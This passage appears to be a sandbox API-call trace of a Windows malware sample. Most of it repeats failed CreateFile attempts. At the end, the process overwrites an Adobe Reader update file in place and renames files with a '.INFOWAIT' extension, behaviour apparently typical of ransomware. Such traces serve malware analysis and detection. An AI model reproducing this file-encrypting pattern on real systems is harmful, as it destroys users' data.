returned 0x0 [0115.212] LocalFree (hMem=0x2568430) returned 0x0 [0115.212] GetLastError () returned 0x5 [0115.212] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0115.212] GetLastError () returned 0x5 [0115.212] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0115.212] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0115.212] lstrlenW (lpString="5") returned 1 [0115.212] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0115.212] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0115.212] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.212] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.212] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.212] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.212] LocalFree (hMem=0x65ded8) returned 0x0 [0115.212] LocalFree (hMem=0x2568430) returned 0x0 [0115.212] GetLastError () returned 0x5 [0115.212] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0115.212] GetLastError () returned 0x5 [0115.212] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0115.212] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0115.212] lstrlenW (lpString="5") returned 1 [0115.212] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0115.212] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0115.212] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.213] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.213] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.213] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.213] LocalFree (hMem=0x65ded8) returned 0x0 [0115.213] LocalFree (hMem=0x2568430) returned 0x0 [0115.213] GetLastError () returned 0x5 [0115.213] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0115.213] GetLastError () returned 0x5 [0115.213] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0115.213] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0115.213] lstrlenW (lpString="5") returned 1 [0115.213] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0115.213] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0115.213] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.213] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.213] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.213] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.213] LocalFree (hMem=0x65ded8) returned 0x0 [0115.213] LocalFree (hMem=0x2568430) returned 0x0 [0115.213] GetLastError () returned 0x5 [0115.213] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0115.213] GetLastError () returned 0x5 [0115.213] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0115.213] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0115.214] lstrlenW (lpString="5") returned 1 [0115.214] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0115.214] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0115.214] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.214] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.214] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.214] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.214] LocalFree (hMem=0x65ded8) returned 0x0 [0115.214] LocalFree (hMem=0x2568430) returned 0x0 [0115.214] GetLastError () returned 0x5 [0115.214] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0115.214] GetLastError () returned 0x5 [0115.214] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0115.214] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0115.214] lstrlenW (lpString="5") returned 1 [0115.214] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0115.214] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0115.214] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.214] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.214] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.214] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.214] LocalFree (hMem=0x65ded8) returned 0x0 [0115.214] LocalFree (hMem=0x2568430) returned 0x0 [0115.214] GetLastError () returned 0x5 [0115.215] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0115.215] GetLastError () returned 0x5 [0115.215] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0115.215] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0115.215] lstrlenW (lpString="5") returned 1 [0115.215] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0115.215] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0115.215] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.215] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.215] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.215] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.215] LocalFree (hMem=0x65ded8) returned 0x0 [0115.215] LocalFree (hMem=0x2568430) returned 0x0 [0115.215] GetLastError () returned 0x5 [0115.215] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0115.215] GetLastError () returned 0x5 [0115.215] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0115.215] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0115.215] lstrlenW (lpString="5") returned 1 [0115.215] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0115.215] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0115.215] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.215] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.215] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.216] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.216] LocalFree (hMem=0x65ded8) returned 0x0 [0115.216] LocalFree (hMem=0x2568430) returned 0x0 [0115.216] GetLastError () returned 0x5 [0115.216] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0115.216] GetLastError () returned 0x5 [0115.216] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0115.216] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0115.216] lstrlenW (lpString="5") returned 1 [0115.216] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0115.216] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0115.216] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.216] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.216] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.216] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.216] LocalFree (hMem=0x65ded8) returned 0x0 [0115.216] LocalFree (hMem=0x2568430) returned 0x0 [0115.216] GetLastError () returned 0x5 [0115.216] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0115.216] GetLastError () returned 0x5 [0115.216] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0115.216] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0115.216] lstrlenW (lpString="5") returned 1 [0115.217] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0115.217] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0115.217] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.217] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.217] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.217] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.217] LocalFree (hMem=0x65ded8) returned 0x0 [0115.217] LocalFree (hMem=0x2568430) returned 0x0 [0115.217] GetLastError () returned 0x5 [0115.217] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0115.217] GetLastError () returned 0x5 [0115.217] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0115.217] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0115.217] lstrlenW (lpString="5") returned 1 [0115.217] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0115.217] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0115.217] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.217] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.217] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.217] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.217] LocalFree (hMem=0x65ded8) returned 0x0 [0115.217] LocalFree (hMem=0x2568430) returned 0x0 [0115.217] GetLastError () returned 0x5 [0115.217] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0115.217] GetLastError () returned 0x5 [0115.218] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0115.218] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0115.218] lstrlenW (lpString="5") returned 1 [0115.218] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0115.218] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0115.218] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.218] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.218] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.218] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.218] LocalFree (hMem=0x65ded8) returned 0x0 [0115.218] LocalFree (hMem=0x2568430) returned 0x0 [0115.218] GetLastError () returned 0x5 [0115.218] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0115.218] GetLastError () returned 0x5 [0115.218] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0115.218] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0115.218] lstrlenW (lpString="5") returned 1 [0115.218] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0115.218] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0115.218] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.218] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.218] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.218] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.218] LocalFree (hMem=0x65ded8) returned 0x0 [0115.218] LocalFree (hMem=0x2568430) returned 0x0 [0115.219] GetLastError () returned 0x5 [0115.219] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0115.219] GetLastError () returned 0x5 [0115.219] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0115.219] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0115.219] lstrlenW (lpString="5") returned 1 [0115.219] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0115.219] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0115.219] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.219] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.219] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.219] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.219] LocalFree (hMem=0x65ded8) returned 0x0 [0115.219] LocalFree (hMem=0x2568430) returned 0x0 [0115.219] GetLastError () returned 0x5 [0115.220] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0115.220] GetLastError () returned 0x5 [0115.220] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0115.220] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0115.220] lstrlenW (lpString="5") returned 1 [0115.220] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0115.221] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0115.221] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.221] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.221] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0115.221] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0115.221] LocalFree (hMem=0x65ded8) returned 0x0 [0115.221] LocalFree (hMem=0x2568430) returned 0x0 [0115.221] GetLastError () returned 0x5 [0115.221] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0115.221] GetLastError () returned 0x20 [0115.221] lstrcpyW (in: lpString1=0x256fb40, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0115.221] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0115.221] lstrlenW (lpString="23") returned 2 [0115.221] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="32" | out: lpString1="CreateFile failed with error 32") returned="CreateFile failed with error 32" [0115.221] lstrcatW (in: lpString1="CreateFile failed with error 32", lpString2=": " | out: lpString1="CreateFile failed with error 32: ") returned="CreateFile failed with error 32: " [0115.221] lstrcatW (in: lpString1="CreateFile failed with error 32: ", lpString2="The process cannot access the file because it is being used by another process.\r\n" | out: lpString1="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n") returned="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n" [0115.221] lstrlenW (lpString="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n") returned 114 [0115.221] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n") returned="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n" [0115.221] lstrlenW (lpString="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n") returned 114 [0115.221] LocalFree (hMem=0x24b1940) returned 0x0 [0115.221] LocalFree (hMem=0x256fb40) returned 0x0 [0115.221] GetLastError () returned 0x20 [0115.221] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0115.221] GetLastError () returned 0x20 [0115.222] lstrcpyW (in: lpString1=0x256fb40, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0115.222] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0115.222] lstrlenW (lpString="23") returned 2 [0115.222] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="32" | out: lpString1="CreateFile failed with error 32") returned="CreateFile failed with error 32" [0115.222] lstrcatW (in: lpString1="CreateFile failed with error 32", lpString2=": " | out: lpString1="CreateFile failed with error 32: ") returned="CreateFile failed with error 32: " [0115.222] lstrcatW (in: lpString1="CreateFile failed with error 32: ", lpString2="The process cannot access the file because it is being used by another process.\r\n" | out: lpString1="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n") returned="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n" [0115.222] lstrlenW (lpString="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n") returned 114 [0115.222] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n") returned="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n" [0115.222] lstrlenW (lpString="CreateFile failed with error 32: The process cannot access the file because it is being used by another process.\r\n") returned 114 [0115.222] LocalFree (hMem=0x24b1940) returned 0x0 [0115.222] LocalFree (hMem=0x256fb40) returned 0x0 [0115.222] GetLastError () returned 0x20 [0115.226] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata" | out: lpString1="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata" [0115.226] lstrcatW (in: lpString1="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata", lpString2=".INFOWAIT" | out: lpString1="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata.INFOWAIT") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata.INFOWAIT" [0115.226] MoveFileW (lpExistingFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata" (normalized: "c:\\programdata\\adobe\\acrobat\\10.0\\replicate\\security\\directories.acrodata"), lpNewFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata.INFOWAIT" (normalized: "c:\\programdata\\adobe\\acrobat\\10.0\\replicate\\security\\directories.acrodata.infowait")) returned 1 [0115.226] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.227] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.228] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0115.228] CreateFileW (lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\adberdrsecupd10111.msp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0115.229] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3d800 [0115.229] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0115.229] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.229] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0115.257] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0115.270] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.270] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0115.271] CloseHandle (hObject=0xad4) returned 1 [0115.283] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp" | out: lpString1="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp") returned="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp" [0115.283] lstrcatW (in: lpString1="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", lpString2=".INFOWAIT" | out: 